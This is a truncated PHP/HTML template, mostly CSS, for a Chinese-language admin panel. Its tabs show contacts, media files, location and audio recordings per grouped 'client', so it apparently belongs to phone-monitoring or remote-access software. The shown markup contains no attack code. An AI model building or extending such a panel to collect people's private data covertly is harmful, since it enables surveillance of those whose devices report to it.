<?php require_once APP_PATH . "/header.php"; ?>
<title>后台数据</title>
<style>
* {
margin: 0px;
padding: 0px;
}
a {
text-decoration: none;
}
ul li {
list-style: none;
}
ul {
background: #FFF;
width: 130px;
}
.header {
width: 100%;
height: 70px;
background: #999;
}
.caret {
display: inline-block;
width: 0;
height: 0;
margin-left: 2px;
vertical-align: middle;
border-top: 4px dashed;
border-top: 4px solid \9;
border-right: 4px solid transparent;
border-left: 4px solid transparent;
color: #FFF;
cursor: pointer;
}
.system {
display: none;
}
.system li a {
color: #676a6c;
font-size: 12px;
display: block;
height: 30px;
line-height: 30px;
}
.item {
color: #999;
height: 95%;
padding-top: 5%;
}
.item_select {
background: #293846;
color: #fff;
height: 95%;
}
.left {
background: #233645;
}
.ul1 {
width: 100%;
background: #233645;
}
.li1 {
display: block;
width: 99%;
background: #233645;
color: #fff;
cursor: pointer
}
.li1 a {
display: block;
width: 90%;
border-left: 3px solid #233645;
height: 30px;
line-height: 30px;
text-decoration: none;
color: #e2e46e;
padding-left: 2%;
font-size: 14px;
}
.ul2 {
width: 100%;
}
.li2 {
background: #233645;
}
.li2 a {
display: block;
width: 100%;
border-left: 3px solid #233645;
height: 30px;
line-height: 30px;
text-decoration: none;
color: #ccc;
/*padding-left: 12%;*/
font-size: 14px;
}
.li_online a {
color: #48c765;
}
.li_active a {
background: #293B47;
border-left: 3px solid #00AC90;
color: #fff;
}
.layui-icon {
margin-right: 4px;
}
.group:hover{
background:#293B47 ;
}
/* 分组*/
.groupmenu{
display: block;width: 120px;height: 26px; line-height: 26px; margin-top: 5px;
cursor: pointer;
}
.groupmenu:hover{
background:#00a1ff;
color: #fff;
}
#movegroup{
display: none;
}
/*客户端菜单*/
#clientmenu{
display: none;
}
#clientmenu .groupmenu{
text-align: center;
}
.grouplist{
display: block;
width: 120px;
padding-left: 10px;
height: 26px;
line-height: 26px;
margin-top: 5px;
cursor: pointer;
}
#clinetgrouplist{
display: none;
}
.grouplist:hover{
background:#00a1ff;
color: #fff;
}
</style>
</head>
<body style="background:#ccc;">
<div class="header">
<table width="100%" border="0" height="70" cellpadding="0" cellspacing="0">
<tr>
<td width="300" style="background:#233645;" align="center">
<div style="position:relative;">
<span style="color:#FFF; margin-left:-30px; font-size:14px;">
<?= $_SESSION['username'] ?>
</span>
<b class="caret"></b>
<ul style="position:absolute;top:30px;left:60px;" class="system">
<li><a href="javascript:modiypass();">修改密码</a></li>
<li><a target="mainifr" href="?c=index&v=log">登录日志</a></li>
<li><a href="?c=login&v=loginout">退出</a></li>
</ul>
</div>
</td>
<td>
<table width="100%" border="0" height="70" style="background:#fafafa">
<tr>
<td width="10">
</td>
<td width="74">
<div class="item" style="text-align:center; cursor:pointer; border-right:solid 1px #eee;"
data="?c=index&v=info">
<i class="layui-icon" style="font-size:30px;"></i>
<span style="display:block; margin-top:5px;">基本信息</span>
</div>
</td>
<td width="74">
<div class="item" style="text-align:center; cursor:pointer; border-right:solid 1px #eee;"
data="?c=index&v=phone">
<i class="layui-icon" style="font-size:30px;"></i>
<span style="display:block; margin-top:5px;">通讯录</span>
</div>
</td>
<td width="74">
<div class="item" style="text-align:center; cursor:pointer; border-right:solid 1px #eee;"
data="?c=index&v=photo">
<i class="layui-icon" style="font-size:30px;"></i>
<span style="display:block; margin-top:5px;">多媒体文件</span>
</div>
</td>
<td width="74">
<div class="item" style="text-align:center; cursor:pointer; border-right:solid 1px #eee;"
data="?c=index&v=location">
<i class="layui-icon" style="font-size:30px;"></i>
<span style="display:block; margin-top:5px;">定位</span>
</div>
</td>
<td width="74">
<div class="item" style="text-align:center; cursor:pointer; border-right:solid 1px #eee;"
data="?c=index&v=audio">
<i class="layui-icon" style="font-size:30px;"></i>
<span style="display:block; margin-top:5px;">录音</span>
</div>
</td>
<td> </td>
</tr>
</table>
</td>
</tr>
</table>
</div>
<table width="100%" border="0" style="height:100%">
<tr>
<td class="left" width="300" valign="top">
<ul class="ul1" style="overflow-y:auto; height:100%; overflow-x: hidden;">
<!--<li class="li1">
<a href="#" class="add_group">未分组+</a>
<ul class="ul2">
<li class="li2">
<a href="#"><i class="layui-icon" style="font-size:12px;"></i>21321</a>
</li>
<li class="li2 ">
<a href="#"><i class="layui-icon" style="font-size:12px;"></i>21321</a>
</li>
<li class="li2">
<a href="#"><i class="layui-icon" style="font-size:12px;"></i>21321</a>
</li>
</ul>
</li>-->
<?php foreach ($client as $key => $val) { ?>
<li class="li1">
<a href="#" class="<?php if($val['id']==0){ echo "add_group";}else{ echo "group";}?>" data-id="<?=$val['id']?>" id="group_<?=$val['id']?>"><?= $val['